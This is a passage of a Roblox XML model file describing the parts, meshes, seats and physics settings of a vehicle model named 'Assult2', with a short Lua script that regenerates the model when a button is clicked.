									<R11>0.999999762</R11>
									<R12>0.000362112798</R12>
									<R20>-0.556114554</R20>
									<R21>-7.06181436e-006</R21>
									<R22>-0.83110553</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Stabilizer</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>2.50244582e-011</X>
									<Y>-1.10875689e-007</Y>
									<Z>-3.27304284e-018</Z>
								</Vector3>
								<float name="TopParamA">0</float>
								<float name="TopParamB">0</float>
								<token name="TopSurface">6</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00702707516</X>
									<Y>-0.00111285772</Y>
									<Z>-0.00983790308</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX2890">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyGyro" referent="RBX2891">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">Stabilizer</string>
									<float name="P">200</float>
									<CoordinateFrame name="cframe">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>8.99999949e+009</X>
										<Y>0</Y>
										<Z>8.99999949e+009</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2892">
							<Properties>
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								<bool name="Archivable">true</bool>
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				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX2911">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2912">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-240</X>
						<Y>7</Y>
						<Z>213</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX2913">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX2914">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2915">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX2916">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2917">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Assult2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX2918">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Bodykit</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Seat" referent="RBX2919">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-260</X>
								<Y>5.20000029</Y>
								<Z>216</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2920">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2921">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-256</X>
								<Y>5.20000029</Y>
								<Z>216</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2922">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2923">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-256</X>
								<Y>5.20000029</Y>
								<Z>208</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2924">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2925">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-260</X>
								<Y>5.20000029</Y>
								<Z>208</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2926">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
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								<R02>-1</R02>
								<R10>-1</R10>
								<R11>0</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>1</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>1.20000005</Y>
								<Z>8</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2952">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2953">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-244.800003</X>
								<Y>0.5</Y>
								<Z>212</Z>
								<R00>0</R00>
								<R01>-1</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>0</R11>
								<R12>-1</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.400000006</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>0.400000006</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2954">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.25</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>4.5</X>
									<Y>0</Y>
									<Z>4.5</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2955">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>-245.5</X>
								<Y>0.5</Y>
								<Z>212</Z>
								<R00>0</R00>
								<R01>-1</R01>
								<R02>0</R02>
								<R10>1</R10>
								<R11>0</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2956">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.5</X>
									<Y>2</Y>
									<Z>1.5</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2957">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-247.5</X>
								<Y>12</Y>
								<Z>207</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Wire</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>10</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2958">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.100000001</X>
									<Y>1</Y>
									<Z>0.100000001</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2959">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
